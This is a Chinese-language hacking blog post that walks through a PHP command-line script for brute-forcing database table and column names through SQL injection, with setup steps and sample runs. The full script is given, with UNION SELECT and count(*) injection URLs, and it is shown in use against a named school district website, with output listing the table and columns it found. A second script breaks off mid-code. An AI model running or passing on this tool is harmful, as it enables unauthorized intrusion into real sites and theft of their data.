do all things in php(註入利用程序編寫)

文章作者:mika[EST]
信息來源:邪惡八進制信息安全團隊


最近俺又迷戀上腳本瞭,嘿嘿~~~剛學完PHP然後又看瞭些PHP安全方面的文章,於是乎從google中找瞭幾個站練習一下。
結果發現php猜表名和列名真的很費勁啊,nbsi這類的掃描工具有沒有那種用字典或者暴力猜解表名和列名的功能,難不成還得自己一個一個猜啊?我很懶的:-)
突然想到自己不是剛剛學完PHP嗎?為什麼不學以致用呢?php不光是一個web腳本語言,它還是一個非常棒的命令行解釋語言,用它寫腳本好方便的哦。為瞭以後能夠碰到這類問題省點勁俺就寫瞭一個php腳本用來猜表和列名的。腳本寫的很簡單,內容如下:
 <?php
 echo ” Universal Database tables explode exploit V0.1

“;
 echo ” Written by Mika[EST]

“;
 //$keyword=”Warning”;
 $keyword=”error”;
 switch($argc){
 case 3:
 $u=” and (select count(*) from MIKA_NAME)>0″;
 $dic=$argv[2];
 break;
 case 4:
 $u=” and 1=1 union select “.implode(,,range(1,$argv[2])).” from MIKA_NAME#”;
 $dic=$argv[3];
 break;
 case 5:
 if($argv[2]!=”-t”)
 exit(“arguments Error”);
 $u=” and (select count(MIKA_NAME) from $argv[3])>0#”;
 $dic=$argv[4];
 break;
 case 6:
 if($argv[2]!=”-t” || $argv[4]<1)
 exit(“arguments Error”);
 if($argv[4]>=2){
 $u=” and 1=1 union select “.MIKA_NAME.,.implode(,,range(2,$argv[4])).” from $argv[3]#”;
 }else{
 $u=” and 1=1 union select MIKA_NAME from $argv[3]#”;
 }
 $dic=$argv[5];
 break;
 default:
 echo <<<USAGE
 Usage:$argv[0] <URL> [OPTIONS] <dict file>
 OPTIONS: number —>to indicate column number of a table during a union query


 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt


 the url will be like:…/bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin


 OPTIONS: -t <table> [number] —> to explode column name of the <table>


 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt


 Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
 USAGE;
 die;
 }


 $old=$argv[1];
 file_exists($dic) or exit(“dic file does not exist!
“);
 $words=file($dic);
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_HEADER,0);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_PROXY,”127.0.0.1:8080″);
 print “[+]Searching What you want…
“;
 foreach($words as $word){
 //print $word;
 if(preg_match(“/^s$/”,$word)){
 //print “blank”;
 continue;
 }
 $url=str_replace(MIKA_NAME,trim($word),$u);
 $url=$old.urlencode($url);
 //$url=$old.$url;
 curl_setopt($curl,CURLOPT_URL,$url);
 //print “source url is:”.$url.”
“;
 $content=curl_exec($curl);
 //$new=$content;
 //print $content;
 if(preg_match(“/$keyword/i”,$content)==0){
 print “[*] FOUND:”.trim($word);
 }
 else{print “.”;}
 }
 ?>
俺先解釋一下吧:程序裡用到的模塊是curl,它用來獲取網頁內容是非常方便的。我的這個php是for windows的,所以裡面集成瞭很多的模塊。但是curl默認是不啟用的,你需要開啟它哦。方法很簡單,去網上下載php最新版本的綠色版(不需要安裝的,方便攜帶),然後將壓縮包內的php.ini-recommended復制到系統目錄(win2k是winnt目錄,xp等的是windows目錄)並將其改名為php.ini,然後用記事本打開,找到如下一行:
extension_dir =
把它的值設置成你自己的,比如把壓縮包接壓到瞭c:php裡,那麼你需要把它設置成:
extension_dir = “c:phpext”


然後再繼續找到下面這段:
 ; Windows Extensions
 ; Note that ODBC support is built in, so no dll is needed for it.
 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
 ; extension folders as well as the separate PECL DLL download (PHP 5).
 ; Be sure to appropriately set the extension_dir directive.


 ;extension=php_mbstring.dll
 ;extension=php_bz2.dll
 ;extension=php_curl.dll
 ;extension=php_dba.dll
 ;extension=php_dbase.dll
 ;extension=php_exif.dll
 ;extension=php_fdf.dll
 ;extension=php_filepro.dll
 ;extension=php_gd2.dll
 ;extension=php_gettext.dll
 ;extension=php_ifx.dll
看到php_curl.dll瞭嗎?把它前面的分號去掉就可以瞭。然後保存一下,還沒完呢,再去php的目錄裡找到這兩個文件:
libeay32.dll
ssleay32.dll


把他們復制到system32目錄裡就OK瞭。很簡單吧?然後在環境變量裡設置一下你的php的路徑,這樣在任何目錄裡就可以直接調用php.exe進行解析瞭。安裝其它模塊的步驟也類似,俺就不多說瞭:-)


言歸正傳,你通過上面幾步就可以使用curl模塊瞭。程序用法很簡單,比如有註入的url是這樣的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在當前目錄mydict.txt。那麼本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt


需要註意的就是,由於這個程序本來就是俺自己用的,所以程序沒有考慮很多東西。程序是根據頁面返回的內容進行判斷的,所以呢,你要首先自己手工獲取一下,比如你可以這樣:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)


其中的mika520是一個不存在的表,這樣返回的頁面後你可以察看源代碼,隨便找一個正確頁面中不存在的語句作為關鍵字(nbsi等的註入工具默認是用正確頁面裡的東西作為判斷的,俺和它反著來:-),然後把程序代碼中第4行的$keyword的值換成你的關鍵字就可以瞭。比如下面這個站吧:
http://www.elkhart.k12.in.us/content.php?id=157


由於是php的所以你得用第二種方式來猜,即需要使用聯合查詢,所以先判斷註入點存在不存在,然後使用order by判斷字段數,我在這裡判斷的是5個字段,判斷好後就可以使用我的這個程序來猜瞭,結果如下:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 5 mydict.txt
 Universal Database tables explode exploit V0.1


 Written by Mika[EST]


 [+]Searching What you want…
 …[*] FOUND:structure………………………………………………….
看到瞭嗎?找到瞭一個表,呵呵。再來看看字段:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 -t structure 5 temp.txt
 Universal Database tables explode exploit V0.1


 Written by Mika[EST]


 [+]Searching What you want…
 [*] FOUND:pision……[*] FOUND:id.[*] FOUND:level………[*] FOUND:title….
 ..[*] FOUND:content..[*] FOUND:parent_id………
很簡單吧?命令中的那個5就是你用order by猜出的字段數,換成實際中的就可以瞭。如果是access或者mssql的數據庫,隻要去掉那個字段數(即例子中的5)的參數就可以瞭。我就不多做演示瞭。


如果大傢用得過程中出現問題可以自己去改代碼,很簡單的:-)


另外我這個程序默認是使用HTTP代理的,所以你需要修改這一行:
curl_setopt($curl,CURLOPT_PROXY,”127.0.0.1:8080″);


換成你的代理就好瞭,如果不需要代理那就直接註釋掉好瞭。


其實猜嘛,關鍵還是看你的字典是不是夠強大,你可以把你常見的字典組合一下就好瞭。比如NBSI和狂註幽靈等的字典拿過來,然後組成一個文件就是瞭。但是這兩個字典有可能有很多重復的,為瞭節省不必要的猜解,需要去處重復的。我這裡用php寫瞭非常簡單的程序可以幫助你去除重復行,如下:
 <?php


 if($argc!=2){
 echo <<<INFO
  Writte

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。